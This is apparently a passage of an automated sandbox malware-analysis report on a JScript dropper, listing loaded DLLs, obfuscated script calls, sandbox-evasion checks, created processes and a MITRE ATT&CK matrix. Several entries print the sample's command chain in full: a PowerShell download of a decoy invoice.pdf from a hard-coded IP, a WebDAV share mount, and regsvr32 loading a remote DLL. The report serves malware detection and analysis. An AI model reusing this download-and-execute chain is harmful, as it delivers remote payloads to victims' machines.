Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7149.js.csv");ITextStream.WriteLine(" entry:8074 f:mvolxnwsr");ITextStream.WriteLine(" exec:2 f:mvolxnwsr");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49768

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4562			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5307			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep count: 4562 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7548	Thread sleep count: 5307 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7628	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7812	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8172	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1369212849.0000019433092000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000007.00000002.1434150723.000001FE088D8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1434150723.000001FE0893D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2664142983.0000020DC4C27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2665231531.0000020DCA259000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
